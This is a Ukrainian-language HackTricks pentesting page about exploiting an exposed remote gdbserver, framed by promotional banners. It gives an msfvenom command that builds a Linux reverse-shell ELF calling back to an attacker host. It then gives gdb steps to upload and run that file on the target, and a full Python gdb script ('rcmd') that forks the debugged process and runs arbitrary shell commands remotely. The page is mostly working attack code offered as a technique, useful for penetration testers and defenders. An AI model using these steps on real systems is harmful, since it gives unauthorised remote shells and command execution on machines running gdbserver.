hacktricks/network-services-pentesting/pentesting-remote-gdbserver.md
2024-03-29 19:49:46 +01:00

10 KiB
Raw Blame History

Тестування на проникнення віддаленого GdbServer

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Миттєве налаштування для оцінки вразливостей та тестування на проникнення. Виконайте повний тест на проникнення з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють реконструкцію та звітність. Ми не замінюємо тестувальників на проникнення - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість краще досліджувати, виконувати командні оболонки та насолоджуватися цим.

{% embed url="https://pentest-tools.com/" %}

Основна інформація

gdbserver - це інструмент, який дозволяє віддалено відлагоджувати програми. Він працює поруч з програмою, яка потребує відлагодження на тій самій системі, відомій як "ціль". Ця настройка дозволяє GNU Debugger підключатися з іншої машини, "хоста", де зберігаються вихідний код та бінарний файл відлагоджуваної програми. Підключення між gdbserver та відлагоджувачем може бути виконане через TCP або послідовний порт, що дозволяє створювати різноманітні налаштування відлагодження.

Ви можете зробити gdbserver слухати на будь-якому порту і на даний момент nmap не може визначити службу.

Експлуатація

Завантаження та Виконання

Ви легко можете створити елф backdoor з msfvenom, завантажити й виконати його:

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

Виконання довільних команд

Є ще один спосіб змусити відлагоджувач виконати довільні команди за допомогою власного скрипту Python, взятого звідси.

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

Спочатку створіть локально цей скрипт:

{% code title="remote-cmd.py" %}

#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

{% endcode %}

Миттєве налаштування для оцінки вразливостей та тестування на проникнення. Запустіть повний пентест з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють реконструкцію та звітність. Ми не замінюємо пентестерів - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість краще досліджувати, виконувати командні оболонки та насолоджуватися процесом.

{% embed url="https://pentest-tools.com/" %}

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks: